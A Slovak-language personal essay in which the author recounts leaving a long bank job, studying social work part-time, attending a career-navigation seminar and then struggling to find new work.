Prvé myšlienky o potrebe zmysluplnosti mojej práce sa začali objavovať po piatich rokoch zamestnania v banke, kde som začala pracovať po materskej dovolenke s druhým dieťaťom. Mala som ukončené všeobecné stredoškolské vzdelanie – gymnázium. Štúdia na VŠ som sa vzdala, keď mal prvý syn dva roky a nezvládali sme predškolské zariadenie. Spomínam to preto, že toto nezvládnutie (z môjho pohľadu) spôsobilo v mojom živote dosť veľa pochybností o sebe, napriek tomu, že skúšky mi šli výborne a okolie oceňovalo môj záujem venovať sa dieťaťu naplno.

Ale späť k práci v banke. Zamestnanie mi zo začiatku úplne vyhovovalo, mala som pohyblivú pracovnú dobu, výborný kolektív s nadšením pre prácu. Zamestnávateľom nám boli poskytované rôzne tréningy a školenia, v čom som sa ja doslova vyžívala. Po troch rokoch prišlo preradenie v práci, nový nadriadený a hlavne zjednodušenie náplne práce, kvantitatívne viac úkonov s kvalitatívne nižšou náročnosťou. A to, videné spätne, bol prvý a dosť dôležitý krok k zníženiu mojej spokojnosti s vykonávanou prácou. Môj strach meniť zamestnanie, strach z toho, že nič iné neviem a nie som „dosť dobrá“ spôsobili, že som stále zostávala na tej istej pozícii. Moja nespokojnosť však rástla, rovnako ako nespokojnosť mojich spolupracovníkov a to spôsobovalo všeobecnú klímu uhundranosti, rozhorčenosti a nevyjadreného hnevu.

Takto som strávila dva roky. Zmeniť nevyhovujúce zamestnanie som sa bála, pohltila ma nespokojnosť a letargia. Deti však už trocha vyrástli a a tak som sa aj vďaka podpore môjho okolia rozhodla externe študovať VŠ. Bol to určitý únik pred rozhodnutím nájsť si inú prácu. Začala som študovať úplne iný smer ako po strednej škole – humanitný, pomáhajúci rozmer sociálnej práce. Nejaký čas mi štúdium nahrádzalo zmysluplné naplnenie v práci, cítila som, že mi môže dať úplne iné možnosti než som v tom čase mala vo svojom zamestnaní. Po dvoch rokoch poctivého štúdia a narastajúcej pracovnej nespokojnosti som sa, hoci veľmi ťažko, rozhodla z banky odísť.

Počas tohto dlhého rozhodovania som sa od spolužiaka dozvedela o úvodnom seminári „Navigácia pri hľadaní povolania“. Po víkende strávenom na tomto seminári som sa domov vracala spokojná. Som na správnej ceste! Moja snaha pracovať zmysluplne a s nadšením, mať povolanie, ktoré ma baví nie je scestná a nenormálna! A je celkom prirodzené, ak ešte neviem ako a kde! Bol to pre mňa úžasne oslobodzujúci pocit. Samotný odchod z banky po viac ako ôsmych rokoch bol veľmi ťažký. Viacerí nadriadení a spolupracovníci ma presviedčali, aby som zostala. Ponúkali mi lepšie miesta, s možnosťou vedenia ľudí a inou náplňou práce, ale pre mňa by to bola len kozmetická úprava. Túžila som po zásadnej a radikálnej zmene!

Mala som pred sebou vysnívaný ideál a chcela som sa pozrieť aj ďalej za hranice toho mikrosveta, ktorý sa mi stal veľkou súčasťou života. Lúčenie s kolegami, s ktorými som trávila väčšinu pracovného života bolo pre mňa náročné. Bol to kus môjho života, na ktorý dnes pozerám s nostalgiou. Som rada, že som ho prežila, aj že som sa posunula inam. Po úspešnom ukončení bakalárskeho stupňa štúdia som stála pred úlohou nájsť si nové zamestnanie. Namiesto toho, aby som sa príjemnou dovolenkou odmenila za dobre zvládnuté štúdium, pustila som sa do posielania odpovedí na množstvo pracovných inzerátov.

Nevedela som síce, čo presne chcem robiť, len približne som mala predstavu, že to má byť s ľuďmi a niečím nápomocné a touto letmou úvahou mi z toho vyšla personalistika. Na sociálnu prácu v teréne som sa necítila dosť silná. Tak, ako bezhlavo som posielala svoj životopis na množstvo pozícií, tak som postupne začala byť frustrovaná z neúspešného hľadania. Bolo to najhoršie leto, na aké si pamätám. Och, keď sa na to spätne pozriem, ako by som vtedy potrebovala niekoho, kto by mi poskytol pomoc a navigáciu!

Eva Uhríková

Článok vyšiel aj na kariera.zoznam.sk, 31.07.2010.